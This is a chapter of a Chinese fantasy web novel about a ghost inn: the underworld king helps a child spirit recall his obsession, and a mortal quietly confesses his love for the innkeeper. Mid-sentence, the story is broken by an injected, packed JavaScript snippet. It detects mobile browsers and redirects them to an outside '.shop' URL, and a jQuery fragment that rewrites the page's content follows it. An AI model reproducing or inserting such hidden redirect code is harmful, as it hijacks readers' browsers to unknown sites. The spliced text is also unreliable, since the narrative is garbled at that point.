76. 民国旧事
作品:《黄泉客栈》 话音刚落,就听到楼梯处传来轻微的响动。他侧首望去,看到一高一矮两道身影,高的那个唇线紧抿着,望向他的目光似乎有些防备,至于矮的那个,对他也不是特别友善。
虚焉没有多在意宋朝对自己的态度,视线很快略过他,完全把他当做了空气。
“庞元?”他走上前,垂眸盯着半高的孩子。
对方瞥他一眼,随即从他身边走过,显然是不太想理他,坐到沙发上,“你是要带我走吗?你回去吧,我不想走。”
徐至檐和庄渐意对视一眼,真是够稀罕的,这年头还有敢跟阎王爷讨价还价的。
虚焉倒是不恼,亦步亦趋跟到他面前,俯视他:“我是来让你知道自己的执念是什么。”
听到他这么说,庞元终于愿意分他个眼神,打量他一番,“你知道我的执念?你哪位啊?”
阎王爷轻勾起唇,抬手在他额间画下印记,“你无需知晓我是谁。”
印记没入皮肤,庞元立刻闭上眼睛,身体不受控地紧缩在一起,额间不断冒出冷汗,看起来很是痛苦。
虚焉面上平静,甚至还落座在他对面,给自己添了杯茶。可惜这些茶都是给鬼喝的,味道差了些,他只抿了一口,便放下不再动。
他如此气定神闲,身后的三人却是不忍直视。
“意姐,你说君上是不会生气了,整这小孩呢?”徐至檐看着那双快撕破沙发的手,实在是看不下去,别开了视线。
什么执念要用这种办法记起来,多半是君上借着由头报复呢。
不多时,庞元就昏死在沙发上。
徐至檐小心瞄过去,拽了下庄渐意:“君上不是把他魂灵弄碎了?”
宋朝眉头皱起,上前一步想要去看看庞元的情况,却被庄渐意给拦住。
“还记得进客栈第一日,安经理提醒过的你的吗?”她声音压得很低,嘴唇都没怎么动,“莫要生事,莫要多事。”
不论是庞元的执念,还是虚焉的用意,他们全都不清楚,贸然上前谁知道会出什么事。再说那是阎王爷,宋朝一个凡人又能做什么。
宋朝张口就要反驳,接着就被徐至檐捂了嘴往后拽,“你在客栈这么久这点规矩都没记住,老老实实在这站着别动。”
他还没来得及反驳,就看到庞元从捂着脑袋从沙发上坐起来,看清四周环境时眼里有一瞬间的茫然。
“放心吧,没死没死。”徐至檐也松了口气,拍拍他的肩膀,把手给放下来了。
庞元观察了一圈,目光最终还是落在对面那人的身上,他站起身,看着自己的身体,有些不太习惯似的。
“阎王爷。”他嗓音有些哑,双手背负在身后,带着不合年纪的老成,“我是该谢您,还是怨您?”
虚焉听到他的话,从沙发上起身在前方带路,语气平缓,“最后去看看她吧,往后大概不会有机会了。”
庞元看着他的背影,没再犹豫,抬步跟上去。
庄渐意和徐至檐两人眼观鼻鼻观心,自觉装瞎,低头干活。
宋朝垂在身侧的手紧了紧,丢下一句:“我去看看什么情况。”
徐至檐伸手去拽没拽住,“不是宋朝你跟上去干嘛……!”他声音越来越低,生怕惊动了楼上两位。
等到人都看不见影子了,他又跟身边的鬼吐槽,“老板真是把他给惯坏了,这么不知分寸。”
虽然他也很好奇究竟是什么事,不过相较之下还是保住自己的绩效和小命比较重要。
哦对,宋朝没有绩效压力。
庄渐意也有些担心会出事,见宋朝上去反而宽心了些:“他上去也好,免得老板恼了之后没人劝着。”
到时候不管不顾,万一出什么事就坏了。
办公室门外,虚焉叫住前方的小孩,提醒了句,“不要让她知道你是谁。”
庞元的手搭在门上颤抖着,推开了一条缝就停住了动作,他鼻翼翕动,眼睛眨动几下,才推开了身前的门。
里面的人听见声响,以为是宋朝他们,连头都懒得抬一下,“还有什么事?”
他愣怔站在门口,想朝她走过去,却怎么也迈不动步子,只能站在原地看着她。
半天没听见声音,寂未终于抬起头,看到是庞元的时候,不自觉皱起眉。尤其是,在他身后还跟了个虚焉。
还是记忆中的面容,却又让人觉得陌生,不像一个人。
这千年过去,她已经是天翻地覆。
“我这三年给你添了很多麻烦吗?”他似乎是想让自己看起来正常点,可眼里的泪怎么看怎么怪异。
寂未看他这副样子,只说:“还好。”
庞元张开口,有许多话想要问,也有不少的话想要说。他想问她这些年过得如何,有没有受过什么苦,还想问问她怎么……怎么把自己搞成了这般模样,怎么还在人间,未去轮回。
可话语出口,也只化作一句——
“我知道我的执念是什么了,我马上就要去轮回了……”
“你能不能多跟我说几句话?”
寂未沉默许久,像是觉得这个请求莫名其妙,就在众人以为她不会搭理时,她忽然问:“你的执念是什么?”
庞元看着她,露出一个比哭还难看的笑。
想说的的话在口中转了几圈,又被咽回肚子里,挑挑拣拣之后发现也没有几句能告诉她。
眼眶终于不堪重负,让眼泪逃出。
他摇摇头,“我不能说。”
“往后,不要这么折磨自己,要多笑笑,就像……”声音突然止住,寂未还未来得及细想,就被虚焉打断。
虚焉话语平淡:“时间到了,我们该走了。”
庞元抿住唇,大概是不想被她看到眼泪,他缓缓转身过去,“你往后要开心一点。”
跟着虚焉离开之际,他再次转头,最后望了她一眼。办公室的门缓慢闭合,将他们彻底隔绝。
虚焉转过身时,看到等在外面的人正凝眸盯着自己。他轻而易举就看穿了对方的那点小心思,像是觉得有趣,只轻笑了声并未理睬,带着庞元和他擦身而过。
那个人的心里早就盛不下任何多余的人,这个年纪轻轻的小孩大概是要苦守不得了。
宋朝看着他们离去的背影,一言不发。直到寂未从办公室里出来,他才回过神来。
她没什么多余的话,“给我拿瓶酒。”说完,就往后面的廊桥去。
宋朝看得出,她是在不高兴。
是为了刚才的事,还是为了刚才的人呢?
他想了许久也没能得到一个答案,到最后端着酒到廊桥,看着她的背影,只觉自己是庸人自扰。不论是哪个答案,这人都不会和他有什么关系。
就这样陪在她身边,又有什么不好的呢?自己该知足了。
明暗交界的界限清晰,他站在黑暗中,唯有眼中那一点光亮。
这么多年,他总是这样跟在她身后。
她倏地转过头,冷冷清清的人站在暖光下,撞碎了某种不合时宜的东西。
宋朝别开视线向上走,熟练地将酒倒入杯盏用水温着。
“这是什么?”寂未看到他脖子前挂的物件,随口问起。
他这才想起来自己带来的照相机,把这东西从脖子上摘下来,“照相机,可以把人拍下来,就像画画一样。前些日子去街上的时候看到的,觉得新奇就买回来了。”
“你要试试吗?”他笑着递给她。
寂未兴致不高,只是瞥了眼,便转过头不再看,“我对这些不感兴趣,你自己玩吧。”
她垂眸盯着下面,眼中光影几番浮沉,却都没什么光彩。
咔嚓一声,眼旁亮起束白光。她奇怪地蹙起眉,转头看向身边的人,见宋朝正举着那个照相机。
“在拍什么?”她伸手去试桌上的酒,已经温热。
宋朝看着照相机里的照片,眉眼弯起来,撒了个谎:“风景。”
寂未轻笑了声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835214|182508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,将杯盏中的酒一饮而尽,“客栈里竟还有值得纪念的风景。”
“有的。”他将照相机放好,坐在她身边,声音很轻。
他最想纪念的风景就在自己眼前。
客栈外的灯光明明灭灭,远远看着就像无数个光点。她一杯杯喝着酒,连说话都觉得无趣。
宋朝侧目看向身边的人,“客栈困住的都是执念过深的魂灵,你也是吗?”
他今日才发觉到,即使自己已经在她身边待了十余年,可对她的过往依旧全然不知。或许也不止他,是客栈里的所有人都不知道。
寂未盯着手中的酒,听不出话里的情绪,“你如今胆子是大了不少,连我的事也开始打听。”
她掀起眼皮朝他那边扫了眼,看着那张熟悉的面容,莫名就想起这人小时候的样子。
时常跟在自己身边,却很少和自己说话,她也乐得清净,随他去。刚来客栈时,还是个怯生生的小孩,一晃眼竟也长到这般年岁。
客栈里的生死早已凝固,她也像个木偶一样感觉不到时间流逝。除了那些人类经理一点点老去,离开之外,客栈就再没有其他的计时方法。
而现在,出现了个新鲜的法子。
寂未想,她大概是更喜欢这一种的。
日暮总是临近夜晚,不知道什么时候就会看不到太阳。而初升的朝阳却不会叫人有这样的烦恼,总会让人期待午时最灿烂的色彩。
可惜,这个人终归只是个凡人,也会像其他人那样老去,成为次日那抹光芒的曾经。
她收回视线,语速慢下来:“我有执念,可我不想说,所以日后不要再问了。”
宋朝看着她,只是像过去无数次那样说一句:“好。”
“寂未,我喜欢上一个人。”安静中,他攥紧双手,垂眼轻语。
寂未饮酒的动作停顿了下,问他:“你是想离开客栈吗?”
如果他想离开,她可以答应。
可他只是摇摇头,在光下和她对视,“没有,因为那个人不知道。”
她应该永远都不会知道,也不需要知道。
寂未晃了晃手中的酒盏,像是觉得遗憾,“你应该告诉她的。”
“算了,她不会想知道的。”他却说。
她看着宋朝有些失神落魄的样子,无声笑了下。
当初的那个小孩,还真是长大了。
“喝酒吗?”寂未将酒壶推到他面前。
宋朝想要拒绝,“我不会喝……”
话未说完,她就已经给他倒满一杯,“既然已经成人,该尝尝味道了。”
到了会为情所困的年纪,学会喝酒或许能排解些难过。
宋朝在她的注视下端起那杯酒,犹豫过后仰头饮尽。
他也想知道,这个人为什么这么爱喝酒。
辛辣的酒水入喉,呛得他忍不住咳嗽,最后咳得脸都红了,还是觉得身体火烧火燎的,和吹来的凉风形成明显对比。
酒是有些苦的,还有些辣,总而言之是难喝的。可这样难喝的东西,她却喜欢,实在是令人费解。
寂未把水递过去,唇角带着不易察觉的笑意,“傻子。”
从那夜起,她不再叫他小不点,却依然不叫他的名字,而是换了个称呼。
“今日不早了,回去休息吧。”她将酒盏放回桌上,起身朝屋里走,像是想起来什么,又转过身看他,“明日早些起,带你看场戏。”
他还没从酒劲里缓过来,愣怔怔地将这句话记在了脑子里。等回到房间后许久,他才慢慢回过神来,看着放在身侧的照相机,他很轻的笑起来。
“寂未,我想自己大概是喜欢上你了。”
钢笔的墨痕留在泛黄的纸张上,桌面的暗灯晕染出阴影和字迹融为一体。
宋朝将洗出来的照片和纸藏进抽屉的暗格中封锁,将他的那份爱意和这张照片一起掩藏在暗处。
怕被人知晓,所以只能埋在心底,永不见天光。

